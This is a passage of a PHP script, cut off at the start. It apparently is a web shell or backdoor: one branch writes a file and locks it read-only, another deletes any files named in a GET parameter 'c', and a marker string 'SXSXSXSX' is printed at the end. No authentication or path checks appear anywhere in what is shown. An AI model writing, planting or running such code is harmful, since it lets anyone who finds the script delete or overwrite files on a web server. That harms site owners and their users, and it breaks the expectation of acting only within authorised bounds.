OK!";
chmod($file, 0444);
} else {
echo "Error!";
}
fclose($f);
} else {
echo "Unable to open file for writing.";
}
} elseif ($_GET && isset($_GET["c"])) {
$filePaths = $_GET["c"];
if (!empty($filePaths)) {
$filePaths = explode(",", $filePaths);
foreach ($filePaths as $filePath) {
if (file_exists($filePath)) {
unlink($filePath);
echo "File '$filePath' deleted.
";
} else {
echo "File '$filePath' does not exist.
";
}
}
} else {
echo "No file paths provided.";
}
}
echo 'SXSXSXSX';
?>